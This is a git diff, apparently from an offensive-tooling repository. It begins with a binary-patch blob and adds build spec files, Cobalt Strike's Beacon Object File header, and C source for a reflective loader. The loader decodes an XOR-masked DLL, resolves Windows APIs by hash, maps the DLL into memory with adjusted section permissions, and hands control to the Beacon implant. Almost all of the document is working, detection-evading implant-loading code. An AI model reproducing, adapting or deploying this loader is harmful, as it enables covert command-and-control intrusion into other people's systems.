z1U+nhvgTkkx{$4q8-gwn3Q7OxlKgec0}rHIx3O>r#wyWGmlbpH=UG?#Vi7ro-V}5n zVoj*f5YiE*;?sVOWvX@2q1oNjL}+4G7oA$Y+pddQi@Y*s=tfAP`y5)OdoCTz*ddM` z&9c5Fh68T43?p`~b!x3}<;$8w9Nd*I+7FP+H})RSBoR_doF&gGF+&esoYfhoHr;9B zbV|&UVP=c&n?+bcI+nDTpIxSl83-?c`G(AY{tlx2Y*Pj1o943G3GL^T6)}w9KDUTj z<=ce#rIFpVm0dy{(!@)b#W4hMemxwOpB2aS=1aQoyf&fT(yssUg?3f@TRU(`^PNw` zyY9}-X=3`acn$jTWe6YoYkG59_l+0p)0%HQB@VGi?aUf>hNd@{I#us>(jwvMV3?P} zO4;3%N^T`9G;vB7r(kmE;xs7=93nJ>i#HL=jS3_7n|kx4?z>SO%cSPJk&3rL zFVK{Hq=6`(5^yw4JcLfc3|hPwL@KVLWvqnh#*Fc{zvkw2?oErgbKDMv77uV7;J6Ez z=b^=0L71=w&`ikOiA0<@Yf;RF;`vhAR=#mF!aM^4r}Z{1OYW@DR$?et)V>&Ib2WAG zHl0c*UudFXrraqGyL%xk-xj+&#zn^9;e>o=zr>GiEVCI0Uia9`&w0wq&n0m}so#Pv zGTBP7LK@e@JlVgU!hATAdW#dci!9jHtnR_~A^`w*JUOrk=bx^rK|BrQi6>QJjqM?s z#XeFrieEMEhU_kL6di}WFJd3dcP-aL4fD_vHljOd+0++k{$134!>|&)>qWfT-?M_w+=|l@|`qX_?6}c={A*RfI z6gIb*iY2R4jP@Qch3c3%OD~3P;&l1D(!II4;bH4VXS~m>7vk}w*{|t5&&hU+%)_dW@P!97ek;t*Ck?e>$% zrwSZZCu%h+^FHi|muz2L8u$(h!}c<0`iwLd+DjU^fX23=9z&%wm>XYjj3=K*P*0$q zqvL4#-+96ov)eu|8S|#RhLp$g86>YD*;};MmezJtAPLPij=BozpTsj~FL{r9pl|Y% zsFmzFv@VV|p?wIojO|0aoTH8$_dd`P&V7KEzKvzGIIL0*Qn3y7jDV^JVuwo^cEt{VfQdsfM=1Fhn^waC?o?_A^&E>?n^7Alkp zec-r;Nge)BNLJW8dFD`r4~yj(>Q;Qs+zI{~0!n*;wJ97{UibrH{9i zDSiH^&<&swd4|p$6=Ds|Y2Igy{20tvCPNQ{p&MWogZahk;%PAd%wv`otec^!p2xhF zV_c@6ws}nNJZ7+nk(zMG>YJL304zW8A`RK-yJi$iGg8EyL9a%kKVkRa;2^7!yQEIV z-y<_A+T&ML>)xRoSiSMP20N)mM%#kX>uU{9~a^KS|sRQ$?- z*Rv54&NlDew_{JMy9XC1(qWN};-1}NQ{4vlzM!J^`9oeZdTL*??8Q@iHe0;utW%K@ zpyB_1R|r|fqHt%O!EnGxYWu)Wf3%C%EF5^XFU%Ls;#&MlRHluS_67&#*E>0+%#ro3 bp5BO}B6%^aDg!N%U|4065>aaFy2#(Z^OR={ literal 0 HcmV?d00001 diff --git a/loader/loader.spec b/loader/loader.spec new file mode 100644 index 0000000..0cf3270 --- /dev/null +++ b/loader/loader.spec @@ -0,0 +1,43 @@ +x86: + generate $KEY 2048 + + load "bin/loader.x86.o" + make pic +gofirst +optimize + + fixptrs "_caller" + + dfr "_resolve" "ror13" + + mergelib "../libtcg.x86.zip" + + push $DLL + xor $KEY + preplen + link "dll_data" + + push $KEY + preplen + link "key_data" + + export + +x64: + generate $KEY 2048 + + load "bin/loader.x64.o" + make pic +gofirst +optimize + + dfr "resolve" "ror13" + + mergelib "../libtcg.x64.zip" + + push $DLL + xor $KEY + preplen + link "dll_data" + + push $KEY + preplen + link "key_data" + + export diff --git a/loader/smart-loader.spec b/loader/smart-loader.spec new file mode 100644 index 0000000..163c370 --- /dev/null +++ b/loader/smart-loader.spec @@ -0,0 +1,49 @@ +x86: + generate $KEY 2048 + + load "bin/loader.x86.o" + make pic +gofirst +optimize + + fixptrs "_caller" + + dfr "_smart_resolve" "strings" + + patch "_pGetModuleHandle" $GMH + patch "_pGetProcAddress" $GPA + + mergelib "../libtcg.x86.zip" + + push $DLL + xor $KEY + preplen + link "dll_data" + + push $KEY + preplen + link "key_data" + + export + +x64: + generate $KEY 2048 + + load "bin/loader.x64.o" + make pic +gofirst +optimize + + dfr "smart_resolve" "strings" + + patch "pGetModuleHandle" $GMH + patch "pGetProcAddress" $GPA + + mergelib "../libtcg.x64.zip" + + push $DLL + xor $KEY + preplen + link "dll_data" + + push $KEY + preplen + link "key_data" + + export diff --git a/loader/src/beacon.h b/loader/src/beacon.h new file mode 100644 index 0000000..9ecc4a3 --- /dev/null +++ b/loader/src/beacon.h @@ -0,0 +1,391 @@ +/* + * Beacon Object Files (BOF) + * ------------------------- + * A Beacon Object File is a light-weight post exploitation tool that runs + * with Beacon's inline-execute command. + * + * Additional BOF resources are available here: + * - https://github.com/Cobalt-Strike/bof_template + * + * Cobalt Strike 4.x + * ChangeLog: + * 1/25/2022: updated for 4.5 + * 7/18/2023: Added BeaconInformation API for 4.9 + * 7/31/2023: Added Key/Value store APIs for 4.9 + * BeaconAddValue, BeaconGetValue, and BeaconRemoveValue + * 8/31/2023: Added Data store APIs for 4.9 + * BeaconDataStoreGetItem, BeaconDataStoreProtectItem, + * BeaconDataStoreUnprotectItem, and BeaconDataStoreMaxEntries + * 9/01/2023: Added BeaconGetCustomUserData API for 4.9 + * 3/21/2024: Updated BeaconInformation API for 4.10 to return a BOOL + * Updated the BEACON_INFO data structure to add new parameters + * 4/19/2024: Added BeaconGetSyscallInformation API for 4.10 + * 4/25/2024: Added APIs to call Beacon's system call implementation + * 12/18/2024: Updated BeaconGetSyscallInformation API for 4.11 (Breaking changes) + * 2/13/2025: Updated SYSCALL_API structure with more ntAPIs for 4.11 + * 3/20/2025: Updated ALLOCATED_MEMORY_SECTION structure with driploader page size for 4.12 + * 4/7/2025: Updated ALLOCATED_MEMORY_REGION structure with driploader allocation granularity for 4.12 + * 7/16/2025: Updated ALLOCATED_MEMORY_PURPOSE structure with PURPOSE_UDC2_MEMORY for 4.12 + */ + +/* data API */ +typedef struct { + char * original; /* the original buffer [so we can free it] */ + char * buffer; /* current pointer into our buffer */ + int length; /* remaining length of data */ + int size; /* total size of this buffer */ +} datap; + +DECLSPEC_IMPORT void BeaconDataParse(datap * parser, char * buffer, int size); +DECLSPEC_IMPORT char * BeaconDataPtr(datap * parser, int size); +DECLSPEC_IMPORT int BeaconDataInt(datap * parser); +DECLSPEC_IMPORT short BeaconDataShort(datap * parser); +DECLSPEC_IMPORT int BeaconDataLength(datap * parser); +DECLSPEC_IMPORT char * BeaconDataExtract(datap * parser, int * size); + +/* format API */ +typedef struct { + char * original; /* the original buffer [so we can free it] */ + char * buffer; /* current pointer into our buffer */ + int length; /* remaining length of data */ + int size; /* total size of this buffer */ +} formatp; + +DECLSPEC_IMPORT void BeaconFormatAlloc(formatp * format, int maxsz); +DECLSPEC_IMPORT void BeaconFormatReset(formatp * format); +DECLSPEC_IMPORT void BeaconFormatAppend(formatp * format, const char * text, int len); +DECLSPEC_IMPORT void BeaconFormatPrintf(formatp * format, const char * fmt, ...); +DECLSPEC_IMPORT char * BeaconFormatToString(formatp * format, int * size); +DECLSPEC_IMPORT void BeaconFormatFree(formatp * format); +DECLSPEC_IMPORT void BeaconFormatInt(formatp * format, int value); + +/* Output Functions */ +#define CALLBACK_OUTPUT 0x0 +#define CALLBACK_OUTPUT_OEM 0x1e +#define CALLBACK_OUTPUT_UTF8 0x20 +#define CALLBACK_ERROR 0x0d +#define CALLBACK_CUSTOM 0x1000 +#define CALLBACK_CUSTOM_LAST 0x13ff + + +DECLSPEC_IMPORT void BeaconOutput(int type, const char * data, int len); +DECLSPEC_IMPORT void BeaconPrintf(int type, const char * fmt, ...); +DECLSPEC_IMPORT BOOL BeaconDownload(const char * filename, const char* buffer, unsigned int length); + + +/* Token Functions */ +DECLSPEC_IMPORT BOOL BeaconUseToken(HANDLE token); +DECLSPEC_IMPORT void BeaconRevertToken(); +DECLSPEC_IMPORT BOOL BeaconIsAdmin(); + +/* Spawn+Inject Functions */ +DECLSPEC_IMPORT void BeaconGetSpawnTo(BOOL x86, char * buffer, int length); +DECLSPEC_IMPORT void BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len); +DECLSPEC_IMPORT void BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len); +DECLSPEC_IMPORT BOOL BeaconSpawnTemporaryProcess(BOOL x86, BOOL ignoreToken, STARTUPINFO * si, PROCESS_INFORMATION * pInfo); +DECLSPEC_IMPORT void BeaconCleanupProcess(PROCESS_INFORMATION * pInfo); + +/* Utility Functions */ +DECLSPEC_IMPORT BOOL toWideChar(char * src, wchar_t * dst, int max); + +/* Beacon Information */ +/* + * ptr - pointer to the base address of the allocated memory. + * size - the number of bytes allocated for the ptr. + */ +typedef struct { + char * ptr; + size_t size; +} HEAP_RECORD; +#define MASK_SIZE 13 + +/* Information the user can set in the USER_DATA via a UDRL */ +typedef enum { + PURPOSE_EMPTY, + PURPOSE_GENERIC_BUFFER, + PURPOSE_BEACON_MEMORY, + PURPOSE_SLEEPMASK_MEMORY, + PURPOSE_BOF_MEMORY, + PURPOSE_UDC2_MEMORY, + PURPOSE_USER_DEFINED_MEMORY = 1000 +} ALLOCATED_MEMORY_PURPOSE; + +typedef enum { + LABEL_EMPTY, + LABEL_BUFFER, + LABEL_PEHEADER, + LABEL_TEXT, + LABEL_RDATA, + LABEL_DATA, + LABEL_PDATA, + LABEL_RELOC, + LABEL_USER_DEFINED = 1000 +} ALLOCATED_MEMORY_LABEL; + +typedef enum { + METHOD_UNKNOWN, + METHOD_VIRTUALALLOC, + METHOD_HEAPALLOC, + METHOD_MODULESTOMP, + METHOD_NTMAPVIEW, + METHOD_USER_DEFINED = 1000, +} ALLOCATED_MEMORY_ALLOCATION_METHOD; + +/** +* This structure allows the user to provide additional information +* about the allocated heap for cleanup. It is mandatory to provide +* the HeapHandle but the DestroyHeap Boolean can be used to indicate +* whether the clean up code should destroy the heap or simply free the pages. +* This is useful in situations where a loader allocates memory in the +* processes current heap. +*/ +typedef struct _HEAPALLOC_INFO { + PVOID HeapHandle; + BOOL DestroyHeap; +} HEAPALLOC_INFO, *PHEAPALLOC_INFO; + +typedef struct _MODULESTOMP_INFO { + HMODULE ModuleHandle; +} MODULESTOMP_INFO, *PMODULESTOMP_INFO; + +typedef union _ALLOCATED_MEMORY_ADDITIONAL_CLEANUP_INFORMATION { + HEAPALLOC_INFO HeapAllocInfo; + MODULESTOMP_INFO ModuleStompInfo; + PVOID Custom; +} ALLOCATED_MEMORY_ADDITIONAL_CLEANUP_INFORMATION, *PALLOCATED_MEMORY_ADDITIONAL_CLEANUP_INFORMATION; + +typedef struct _ALLOCATED_MEMORY_CLEANUP_INFORMATION { + BOOL Cleanup; + ALLOCATED_MEMORY_ALLOCATION_METHOD AllocationMethod; + ALLOCATED_MEMORY_ADDITIONAL_CLEANUP_INFORMATION AdditionalCleanupInformation; +} ALLOCATED_MEMORY_CLEANUP_INFORMATION, *PALLOCATED_MEMORY_CLEANUP_INFORMATION; + +typedef struct _ALLOCATED_MEMORY_SECTION { + ALLOCATED_MEMORY_LABEL Label; // A label to simplify Sleepmask development + PVOID BaseAddress; // Pointer to virtual address of section + SIZE_T VirtualSize; // Virtual size of the section + DWORD CurrentProtect; // Current memory protection of the section + DWORD PreviousProtect; // The previous memory protection of the section (prior to masking/unmasking) + BOOL MaskSection; // A boolean to indicate whether the section should be masked + DWORD DripLoadPageSize; // The page size used when committing memory during drip-loading +} ALLOCATED_MEMORY_SECTION, *PALLOCATED_MEMORY_SECTION; + +typedef struct _ALLOCATED_MEMORY_REGION { + ALLOCATED_MEMORY_PURPOSE Purpose; // A label to indicate the purpose of the allocated memory + PVOID AllocationBase; // The base address of the allocated memory block + SIZE_T RegionSize; // The size of the allocated memory block + DWORD Type; // The type of memory allocated + DWORD DripLoadAllocationGranularity; // The allocation granularity used when reserving memory for drip-loading + ALLOCATED_MEMORY_SECTION Sections[8]; // An array of section information structures + ALLOCATED_MEMORY_CLEANUP_INFORMATION CleanupInformation; // Information required to cleanup the allocation +} ALLOCATED_MEMORY_REGION, *PALLOCATED_MEMORY_REGION; + +typedef struct { + ALLOCATED_MEMORY_REGION AllocatedMemoryRegions[6]; +} ALLOCATED_MEMORY, *PALLOCATED_MEMORY; + +/* + * version - The version of the beacon dll was added for release 4.10 + * version format: 0xMMmmPP, where MM = Major, mm = Minor, and PP = Patch + * e.g. 0x040900 -> CS 4.9 + * 0x041000 -> CS 4.10 + * + * sleep_mask_ptr - pointer to the sleep mask base address + * sleep_mask_text_size - the sleep mask text section size + * sleep_mask_total_size - the sleep mask total memory size + * + * beacon_ptr - pointer to beacon's base address + * The stage.obfuscate flag affects this value when using CS default loader. + * true: beacon_ptr = allocated_buffer - 0x1000 (Not a valid address) + * false: beacon_ptr = allocated_buffer (A valid address) + * For a UDRL the beacon_ptr will be set to the 1st argument to DllMain + * when the 2nd argument is set to DLL_PROCESS_ATTACH. + * heap_records - list of memory addresses on the heap beacon wants to mask. + * The list is terminated by the HEAP_RECORD.ptr set to NULL. + * mask - the mask that beacon randomly generated to apply + * + * Added in version 4.10 + * allocatedMemory - An ALLOCATED_MEMORY structure that can be set in the USER_DATA + * via a UDRL. + */ +typedef struct { + unsigned int version; + char * sleep_mask_ptr; + DWORD sleep_mask_text_size; + DWORD sleep_mask_total_size; + + char * beacon_ptr; + HEAP_RECORD * heap_records; + char mask[MASK_SIZE]; + + ALLOCATED_MEMORY allocatedMemory; +} BEACON_INFO, *PBEACON_INFO; + +DECLSPEC_IMPORT BOOL BeaconInformation(PBEACON_INFO info); + +/* Key/Value store functions + * These functions are used to associate a key to a memory address and save + * that information into beacon. These memory addresses can then be + * retrieved in a subsequent execution of a BOF. + * + * key - the key will be converted to a hash which is used to locate the + * memory address. + * + * ptr - a memory address to save. + * + * Considerations: + * - The contents at the memory address is not masked by beacon. + * - The contents at the memory address is not released by beacon. + * + */ +DECLSPEC_IMPORT BOOL BeaconAddValue(const char * key, void * ptr); +DECLSPEC_IMPORT void * BeaconGetValue(const char * key); +DECLSPEC_IMPORT BOOL BeaconRemoveValue(const char * key); + +/* Beacon Data Store functions + * These functions are used to access items in Beacon's Data Store. + * BeaconDataStoreGetItem returns NULL if the index does not exist. + * + * The contents are masked by default, and BOFs must unprotect the entry + * before accessing the data buffer. BOFs must also protect the entry + * after the data is not used anymore. + * + */ + +#define DATA_STORE_TYPE_EMPTY 0 +#define DATA_STORE_TYPE_GENERAL_FILE 1 + +typedef struct { + int type; + DWORD64 hash; + BOOL masked; + char* buffer; + size_t length; +} DATA_STORE_OBJECT, *PDATA_STORE_OBJECT; + +DECLSPEC_IMPORT PDATA_STORE_OBJECT BeaconDataStoreGetItem(size_t index); +DECLSPEC_IMPORT void BeaconDataStoreProtectItem(size_t index); +DECLSPEC_IMPORT void BeaconDataStoreUnprotectItem(size_t index); +DECLSPEC_IMPORT size_t BeaconDataStoreMaxEntries(); + +/* Beacon User Data functions */ +DECLSPEC_IMPORT char * BeaconGetCustomUserData(); + +/* Beacon System call */ +/* Syscalls API */ +typedef struct +{ + PVOID fnAddr; + PVOID jmpAddr; + DWORD sysnum; +} SYSCALL_API_ENTRY, *PSYSCALL_API_ENTRY; + +typedef struct +{ + SYSCALL_API_ENTRY ntAllocateVirtualMemory; + SYSCALL_API_ENTRY ntProtectVirtualMemory; + SYSCALL_API_ENTRY ntFreeVirtualMemory; + SYSCALL_API_ENTRY ntGetContextThread; + SYSCALL_API_ENTRY ntSetContextThread; + SYSCALL_API_ENTRY ntResumeThread; + SYSCALL_API_ENTRY ntCreateThreadEx; + SYSCALL_API_ENTRY ntOpenProcess; + SYSCALL_API_ENTRY ntOpenThread; + SYSCALL_API_ENTRY ntClose; + SYSCALL_API_ENTRY ntCreateSection; + SYSCALL_API_ENTRY ntMapViewOfSection; + SYSCALL_API_ENTRY ntUnmapViewOfSection; + SYSCALL_API_ENTRY ntQueryVirtualMemory; + SYSCALL_API_ENTRY ntDuplicateObject; + SYSCALL_API_ENTRY ntReadVirtualMemory; + SYSCALL_API_ENTRY ntWriteVirtualMemory; + SYSCALL_API_ENTRY ntReadFile; + SYSCALL_API_ENTRY ntWriteFile; + SYSCALL_API_ENTRY ntCreateFile; + SYSCALL_API_ENTRY ntQueueApcThread; + SYSCALL_API_ENTRY ntCreateProcess; + SYSCALL_API_ENTRY ntOpenProcessToken; + SYSCALL_API_ENTRY ntTestAlert; + SYSCALL_API_ENTRY ntSuspendProcess; + SYSCALL_API_ENTRY ntResumeProcess; + SYSCALL_API_ENTRY ntQuerySystemInformation; + SYSCALL_API_ENTRY ntQueryDirectoryFile; + SYSCALL_API_ENTRY ntSetInformationProcess; + SYSCALL_API_ENTRY ntSetInformationThread; + SYSCALL_API_ENTRY ntQueryInformationProcess; + SYSCALL_API_ENTRY ntQueryInformationThread; + SYSCALL_API_ENTRY ntOpenSection; + SYSCALL_API_ENTRY ntAdjustPrivilegesToken; + SYSCALL_API_ENTRY ntDeviceIoControlFile; + SYSCALL_API_ENTRY ntWaitForMultipleObjects; +} SYSCALL_API, *PSYSCALL_API; + +/* Additional Run Time Library (RTL) addresses used to support system calls. + * If they are not set then system calls that require them will fall back + * to the Standard Windows API. + * + * Required to support the following system calls: + * ntCreateFile + */ +typedef struct +{ + PVOID rtlDosPathNameToNtPathNameUWithStatusAddr; + PVOID rtlFreeHeapAddr; + PVOID rtlGetProcessHeapAddr; +} RTL_API, *PRTL_API; + +/* Updated in version 4.11 to use the entire structure instead of pointers to the structure. + * This allows for retrieving a copy of the information which would be under the BOF's + * control instead of a reference pointer which may be obfuscated when beacon is sleeping. + */ +typedef struct +{ + SYSCALL_API syscalls; + RTL_API rtls; +} BEACON_SYSCALLS, *PBEACON_SYSCALLS; + +/* Updated in version 4.11 to include the size of the info pointer, which equals sizeof(BEACON_SYSCALLS) */ +DECLSPEC_IMPORT BOOL BeaconGetSyscallInformation(PBEACON_SYSCALLS info, SIZE_T infoSize, BOOL resolveIfNotInitialized); + +/* Beacon System call functions which will use the current system call method */ +DECLSPEC_IMPORT LPVOID BeaconVirtualAlloc(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect); +DECLSPEC_IMPORT LPVOID BeaconVirtualAllocEx(HANDLE processHandle, LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect); +DECLSPEC_IMPORT BOOL BeaconVirtualProtect(LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect); +DECLSPEC_IMPORT BOOL BeaconVirtualProtectEx(HANDLE processHandle, LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect); +DECLSPEC_IMPORT BOOL BeaconVirtualFree(LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType); +DECLSPEC_IMPORT BOOL BeaconGetThreadContext(HANDLE threadHandle, PCONTEXT threadContext); +DECLSPEC_IMPORT BOOL BeaconSetThreadContext(HANDLE threadHandle, PCONTEXT threadContext); +DECLSPEC_IMPORT DWORD BeaconResumeThread(HANDLE threadHandle); +DECLSPEC_IMPORT HANDLE BeaconOpenProcess(DWORD desiredAccess, BOOL inheritHandle, DWORD processId); +DECLSPEC_IMPORT HANDLE BeaconOpenThread(DWORD desiredAccess, BOOL inheritHandle, DWORD threadId); +DECLSPEC_IMPORT BOOL BeaconCloseHandle(HANDLE object); +DECLSPEC_IMPORT BOOL BeaconUnmapViewOfFile(LPCVOID baseAddress); +DECLSPEC_IMPORT SIZE_T BeaconVirtualQuery(LPCVOID address, PMEMORY_BASIC_INFORMATION buffer, SIZE_T length); +DECLSPEC_IMPORT BOOL BeaconDuplicateHandle(HANDLE hSourceProcessHandle, HANDLE hSourceHandle, HANDLE hTargetProcessHandle, LPHANDLE lpTargetHandle, DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwOptions); +DECLSPEC_IMPORT BOOL BeaconReadProcessMemory(HANDLE hProcess, LPCVOID lpBaseAddress, LPVOID lpBuffer, SIZE_T nSize, SIZE_T *lpNumberOfBytesRead); +DECLSPEC_IMPORT BOOL BeaconWriteProcessMemory(HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID lpBuffer, SIZE_T nSize, SIZE_T *lpNumberOfBytesWritten); + +/* Beacon Gate APIs */ +DECLSPEC_IMPORT VOID BeaconDisableBeaconGate(); +DECLSPEC_IMPORT VOID BeaconEnableBeaconGate(); + +DECLSPEC_IMPORT VOID BeaconDisableBeaconGateMasking(); +DECLSPEC_IMPORT VOID BeaconEnableBeaconGateMasking(); + +/* Beacon User Data + * + * version format: 0xMMmmPP, where MM = Major, mm = Minor, and PP = Patch + * e.g. 0x040900 -> CS 4.9 + * 0x041000 -> CS 4.10 +*/ + +#define DLL_BEACON_USER_DATA 0x0d +#define BEACON_USER_DATA_CUSTOM_SIZE 32 +typedef struct +{ + unsigned int version; + PSYSCALL_API syscalls; + char custom[BEACON_USER_DATA_CUSTOM_SIZE]; + PRTL_API rtls; + PALLOCATED_MEMORY allocatedMemory; +} USER_DATA, * PUSER_DATA; diff --git a/loader/src/loader.c b/loader/src/loader.c new file mode 100644 index 0000000..9cd3994 --- /dev/null +++ b/loader/src/loader.c @@ -0,0 +1,164 @@ +#include +#include "beacon.h" +#include "tcg.h" +#include "loader.h" + +DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$VirtualAlloc ( LPVOID, SIZE_T, DWORD, DWORD ); +DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualProtect ( LPVOID, SIZE_T, DWORD, PDWORD ); +DECLSPEC_IMPORT LPVOID WINAPIV MSVCRT$malloc ( size_t ); +DECLSPEC_IMPORT void WINAPIV MSVCRT$free ( LPVOID ); + +__typeof__ ( GetModuleHandleA ) * pGetModuleHandle __attribute__ ( ( section ( ".text" ) ) ); +__typeof__ ( GetProcAddress ) * pGetProcAddress __attribute__ ( ( section ( ".text" ) ) ); + +char __DLLDATA__ [ 0 ] __attribute__ ( ( section ( "dll_data" ) ) ); +char __KEYDATA__ [ 0 ] __attribute__ ( ( section ( "key_data" ) ) ); + +FARPROC resolve ( DWORD mod_hash, DWORD func_hash ) +{ + HANDLE module = findModuleByHash ( mod_hash ); + return findFunctionByHash ( module, func_hash ); +} + +FARPROC smart_resolve ( char * mod_name, char * func_name ) +{ + HANDLE module = pGetModuleHandle ( mod_name ); + + if ( module == NULL ) { + module = LoadLibraryA ( mod_name ); + } + + return pGetProcAddress ( module, func_name ); +} + +#ifdef WIN_X86 +__declspec ( noinline ) ULONG_PTR caller ( VOID ) { return ( ULONG_PTR ) WIN_GET_CALLER ( ); } +#endif + +void go ( ) +{ + RESOURCE * masked_dll = ( RESOURCE * ) GETRESOURCE ( __DLLDATA__ ); + RESOURCE * xor_key = ( RESOURCE * ) GETRESOURCE ( __KEYDATA__ ); + + char * dll_src = MSVCRT$malloc ( masked_dll->length ); + + for ( size_t i = 0; i < masked_dll->length; i++ ) { + dll_src [ i ] = masked_dll->value [ i ] ^ xor_key->value [ i % xor_key->length ]; + } + + DLLDATA dll_data; + ParseDLL ( dll_src, &dll_data ); + + USER_DATA bud; + ALLOCATED_MEMORY memory; + + memset ( &bud, 0, sizeof ( USER_DATA ) ); + memset ( &memory, 0, sizeof ( ALLOCATED_MEMORY ) ); + + bud.version = 0x041200; + bud.allocatedMemory = &memory; + + char * dll_dst = KERNEL32$VirtualAlloc ( NULL, SizeOfDLL ( &dll_data ), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE ); + LoadDLL ( &dll_data, dll_src, dll_dst ); + + ALLOCATED_MEMORY_CLEANUP_INFORMATION cleanup_info; + memset ( &cleanup_info, 0, sizeof ( ALLOCATED_MEMORY_CLEANUP_INFORMATION ) ); + + cleanup_info.AllocationMethod = METHOD_VIRTUALALLOC; + cleanup_info.Cleanup = TRUE; + + memory.AllocatedMemoryRegions[0].Purpose = PURPOSE_BEACON_MEMORY; + memory.AllocatedMemoryRegions[0].AllocationBase = dll_dst; + memory.AllocatedMemoryRegions[0].RegionSize = SizeOfDLL ( &dll_data ); + memory.AllocatedMemoryRegions[0].Type = MEM_PRIVATE; + memory.AllocatedMemoryRegions[0].CleanupInformation = cleanup_info; + + IMPORTFUNCS funcs; + funcs.GetProcAddress = GetProcAddress; + funcs.LoadLibraryA = LoadLibraryA; + + ProcessImports ( &funcs, &dll_data, dll_dst ); + fix_section_permissions ( &dll_data, dll_dst, &memory.AllocatedMemoryRegions [ 0 ] ); + + DLLMAIN_FUNC dll_main = EntryPoint ( &dll_data, dll_dst ); + + MSVCRT$free ( dll_src ); + + dll_main ( ( HINSTANCE ) NULL, DLL_BEACON_USER_DATA, &bud ); + dll_main ( ( HINSTANCE ) dll_dst, DLL_PROCESS_ATTACH, NULL ); + dll_main ( ( HINSTANCE ) &go, 4, NULL ); +} + +void fix_section_permissions ( DLLDATA * dll_data, char * dll_dst, ALLOCATED_MEMORY_REGION * region ) +{ + DWORD section_count = dll_data->NtHeaders->FileHeader.NumberOfSections; + IMAGE_SECTION_HEADER * section_hdr = ( IMAGE_SECTION_HEADER * ) PTR_OFFSET ( dll_data->OptionalHeader, dll_data->NtHeaders->FileHeader.SizeOfOptionalHeader ); + + for ( size_t i = 0; i < section_count; i++ ) + { + void * section_dst = dll_dst + section_hdr->VirtualAddress; + DWORD section_size = section_hdr->SizeOfRawData; + + DWORD new_protect; + DWORD old_protect; + + if ( section_hdr->Characteristics & IMAGE_SCN_MEM_WRITE ) { + new_protect = PAGE_WRITECOPY; + } + if ( section_hdr->Characteristics & IMAGE_SCN_MEM_READ ) { + new_protect = PAGE_READONLY; + } + if ( ( section_hdr->Characteristics & IMAGE_SCN_MEM_READ ) && ( section_hdr->Characteristics & IMAGE_SCN_MEM_WRITE ) ) { + new_protect = PAGE_READWRITE; + } + if ( section_hdr->Characteristics & IMAGE_SCN_MEM_EXECUTE ) { + new_protect = PAGE_EXECUTE; + } + if ( ( section_hdr->Characteristics & IMAGE_SCN_MEM_EXECUTE ) && ( section_hdr->Characteristics & IMAGE_SCN_MEM_READ ) ) { + new_protect = PAGE_EXECUTE_WRITECOPY; + } + if ( ( section_hdr->Characteristics & IMAGE_SCN_MEM_EXECUTE ) && ( section_hdr->Characteristics & IMAGE_SCN_MEM_READ ) ) { + new_protect = PAGE_EXECUTE_READ; + } + if ( ( section_hdr->Characteristics & IMAGE_SCN_MEM_READ ) && ( section_hdr->Characteristics & IMAGE_SCN_MEM_WRITE ) && ( section_hdr->Characteristics & IMAGE_SCN_MEM_EXECUTE ) ) { + new_protect = PAGE_EXECUTE_READWRITE; + } + + KERNEL32$VirtualProtect ( section_dst, section_size, new_protect, &old_protect ); + + region->Sections[i].Label = get_label_from_section_header ( section_hdr ); + region->Sections[i].BaseAddress = section_dst; + region->Sections[i].VirtualSize = section_size; + region->Sections[i].CurrentProtect = new_protect; + region->Sections[i].PreviousProtect = new_protect; + region->Sections[i].MaskSection = TRUE; + + section_hdr++; + } +} + +ALLOCATED_MEMORY_LABEL get_label_from_section_header ( IMAGE_SECTION_HEADER * section_hdr ) +{ + DWORD hash = ror13hash ( ( const char * ) section_hdr->Name ); + + switch ( hash ) + { + case 0xebc2f9b4: + return LABEL_TEXT; + + case 0xcba738b8: + return LABEL_RDATA; + + case 0xcba2f8a1: + return LABEL_DATA; + + case 0xcba718b8: + return LABEL_PDATA; + + case 0xcd7f3b7a: + return LABEL_RELOC; + + default: + return LABEL_EMPTY; + } +} diff --git a/loader/src/loader.h b/loader/src/loader.h new file mode 100644 index 0000000..2ae5f88 --- /dev/null +++ b/loader/src/loader.h @@ -0,0 +1,12 @@ +#define GETRESOURCE(x) ( char * ) &x + +#define memset(x, y, z) __stosb ( ( unsigned char * ) x, y, z ); + +typedef struct { + int length; + char value [ ]; +} RESOURCE; + +void go ( ); +void fix_section_permissions ( DLLDATA * dll_data, char * dll_dst, ALLOCATED_MEMORY_REGION * region ); +ALLOCATED_MEMORY_LABEL get_label_from_section_header ( IMAGE_SECTION_HEADER * section_hdr ); diff --git a/udrl/src/tcg.h b/loader/src/tcg.h similarity index 85% rename from udrl/src/tcg.h rename to loader/src/tcg.h index f48cbd9..75a77e4 100644 --- a/udrl/src/tcg.h +++ b/loader/src/tcg.h @@ -15,7 +15,7 @@ * endorse or promote products derived from this software without specific prior written * permission. * - * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS “AS IS” AND ANY EXPRESS + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE * COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, @@ -26,11 +26,19 @@ * EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ +// used by both the Pico Loader and DLL loader typedef struct { __typeof__(LoadLibraryA) * LoadLibraryA; __typeof__(GetProcAddress) * GetProcAddress; } IMPORTFUNCS; +// linker intrinsic to map a function hash to a hook registered via Crystal Palace +FARPROC __resolve_hook(DWORD funcHash); + +/* + * Structs used by our DLL loader + */ + #define PTR_OFFSET(x, y) ( (void *)(x) + (ULONG)(y) ) #define DEREF( name )*(UINT_PTR *)(name) 